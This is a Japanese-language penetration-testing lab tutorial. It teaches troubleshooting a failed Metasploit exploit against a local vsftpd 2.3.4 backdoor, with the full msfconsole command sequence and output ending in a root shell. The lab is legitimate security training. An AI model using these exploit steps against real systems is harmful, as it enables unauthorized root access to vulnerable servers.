Metasploit で失敗したエクスプロイトのトラブルシューティング

Kali LinuxBeginner
オンラインで実践に進む

はじめに

Metasploit は、ハッキングを容易にする強力な侵入テストフレームワークです。しかし、どんなに優れたツールであっても、ターゲット情報の誤り、パッチが適用されたシステム、ネットワークの問題など、様々な理由でエクスプロイトが失敗することがあります。これらの失敗を診断し、修正する方法を知ることは、あらゆるセキュリティ専門家にとって不可欠なスキルです。

この実験 (lab) では、Metasploit で失敗したエクスプロイトをトラブルシューティングするための基本的なワークフローを学びます。意図的にエクスプロイトの設定を誤り、その失敗を観察し、Metasploit の組み込みツールを使用して問題点を特定し、修正します。成功に必要な情報を得るために、show optionscheck、および Verbose 設定などのコマンドの使用方法を学びます。

この実験 (lab) では、ローカルマシン上でバックグラウンドで脆弱な FTP サーバーが起動されており、これがターゲットとなります。

エクスプロイトの選択とオプションの誤設定

このステップでは、Metasploit Framework コンソールを起動し、エクスプロイトモジュールを選択し、一般的なユーザーエラーをシミュレートするために意図的に誤ったオプションを設定します。これにより、トラブルシューティングの準備が整います。

まず、ターミナルを開き、Metasploit コンソールを起動します。バナーをスキップしてロードプロセスを高速化するために -q (quiet) フラグを使用します。

msfconsole -q

msf6 > プロンプトが表示されたら、vsftpd サービスをターゲットとするエクスプロイトを検索します。

search vsftpd

モジュールの一覧が表示されます。ここで、exploit/unix/ftp/vsftpd_234_backdoor に注目します。use コマンドを使用してこれを選択しましょう。

use exploit/unix/ftp/vsftpd_234_backdoor

プロンプトが変わり、エクスプロイトモジュールがアクティブになったことを示します。次に、ターゲットを設定する必要があります。最も重要なオプションは RHOSTS で、Remote Hosts の略です。これを意図的に間違った IP アドレスに設定します。

set RHOSTS 192.168.1.100

RHOSTS が設定されたことを示す確認メッセージが表示されます。これで、失敗が保証されたエクスプロイトの準備ができました。

エクスプロイトの実行と失敗メッセージの観察

このステップでは、誤設定されたエクスプロイトを実行し、結果として表示される失敗メッセージの解釈方法を学びます。これは、トラブルシューティングにおける最初で最も重要な部分です。

vsftpd_234_backdoor エクスプロイトが選択され、誤った RHOSTS が設定された状態で、実行してみましょう。run または exploit コマンドのいずれかを使用できます。

run

エクスプロイトは、指定した IP アドレス (192.168.1.100) に接続しようとします。このホストはラボ環境から到達できないため、エクスプロイトは失敗します。以下のような出力が表示されるはずです。

[*] 192.168.1.100:21 - The target is not exploitable.
[*] Exploit completed, but no session was created.

The target is not exploitable というメッセージ、またはそれに類似した接続エラーメッセージは、Metasploit がターゲットサービスに到達できなかった、または対話できなかったことを明確に示しています。これは、問題がネットワークまたはターゲットホストの設定に関連している可能性が高いことを示唆しています。

show options コマンドを使用した設定の確認

このステップでは、失敗を確認した後、最初に行うべき論理的なアクションは設定の見直しです。show options コマンドはこのタスクのための主要なツールです。現在のモジュールで設定可能なすべてのパラメータを表示します。

エクスプロイトに設定したオプションを確認してみましょう。

show options

このコマンドは、vsftpd_234_backdoor エクスプロイトのオプションの表を表示します。

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting    Required  Description
   ----    ---------------    --------  -----------
   RHOSTS  192.168.1.100      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21                 yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic

RHOSTSCurrent Setting をよく見てください。これは 192.168.1.100 であり、これは間違っていることを私たちは知っています。この実験の脆弱なサービスはローカルマシンで実行されています。ローカルマシンの IP アドレスは 127.0.0.1 です。

RHOSTS の値を修正しましょう。

set RHOSTS 127.0.0.1

これで、もう一度 show options を実行すると、RHOSTS の値が正しく更新されているのがわかります。

check コマンドを使用した脆弱性のテスト

このステップでは、check コマンドの使用方法を学びます。エクスプロイトを実行する前に、ターゲットが実際に脆弱であるかどうかを確認することは賢明な場合が多いです。check コマンドを使用すると、エクスプロイトペイロードを実際に実行することなく、安全にこれを行うことができます。すべてのモジュールがこの機能をサポートしているわけではないことに注意してください。

RHOSTS オプションを修正したので、check を使用して Metasploit がターゲットを脆弱と見なしているかどうかを確認しましょう。

check

ターゲットが正しく設定されており、サービスが脆弱な場合、肯定的な確認メッセージが表示されるはずです。

[*] 127.0.0.1:21 - The target is vulnerable.

この The target is vulnerable というメッセージは、エクスプロイトを実行したときに成功する可能性が高いことを示唆しています。これは、Metasploit がターゲットに接続し、バックドアの存在を確認できたことを確認します。失敗した場合はさらに調査が必要ですが、今のところこれは非常に良い兆候です。

Verbose オプションを true に設定し、詳細情報を得るために再実行する

このステップでは、Verbose オプションについて学びます。check が成功した場合でも、エクスプロイトが失敗することがあります。エクスプロイトがバックグラウンドで何を行っているかについての詳細な洞察を得るために、詳細ログを有効にすることができます。これは、すべてのモジュールに影響するグローバル設定です。

setg コマンドを使用してグローバルに値を設定し、詳細モードを有効にしましょう。

setg Verbose true

これで、詳細モードが有効になり、正しい RHOSTS が設定された状態で、エクスプロイトを再度実行しましょう。

run

今回は、より詳細な出力が表示されます。詳細ログは、接続試行や送信されるデータなど、エクスプロイトのステップバイステップのプロセスを示します。最も重要なのは、エクスプロイトが成功するはずです。

[*] 127.0.0.1:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 127.0.0.1:21 - USER: Sending "USER back:)"
[*] 127.0.0.1:21 - PASS: Sending "PASS moor"
[+] 127.0.0.1:21 - Found shell.
[*] Command shell session 1 opened (127.0.0.1:43999 -> 127.0.0.1:6200) at 2023-10-27 10:00:00 -0400

成功です!Command shell session 1 opened というメッセージは、ターゲットを正常に侵害したことを確認します。これで、リモートシステム上でコマンドシェルが利用可能になりました。whoami のような簡単なコマンドを実行してテストできます。

whoami

root という出力が表示されるはずです。シェルを終了して Metasploit プロンプトに戻るには、Ctrl + C を押すか、exit と入力します。

まとめ

実験完了おめでとうございます!Metasploit Framework で失敗したエクスプロイトのトラブルシューティングを行うための基本的なプロセスを習得しました。

この実験では、体系的な問題解決アプローチを実践しました。

  1. 失敗の観察: まず、設定ミスのあるエクスプロイトを実行して、失敗する様子を確認しました。
  2. オプションの確認: show options を使用して設定を確認し、間違った RHOSTS 値を特定しました。
  3. 脆弱性のチェック: 設定を修正した後、check コマンドを使用してターゲットが脆弱であることを安全に確認しました。
  4. 詳細情報の取得: setg Verbose true を使用して、詳細なステップバイステップの出力を取得する方法を学びました。これは、より複雑な問題を診断する上で非常に役立ちます。

これらの基本的なスキルは、一般的な障害を克服し、ペネトレーションテスト活動で Metasploit をより効果的に使用するのに役立ちます。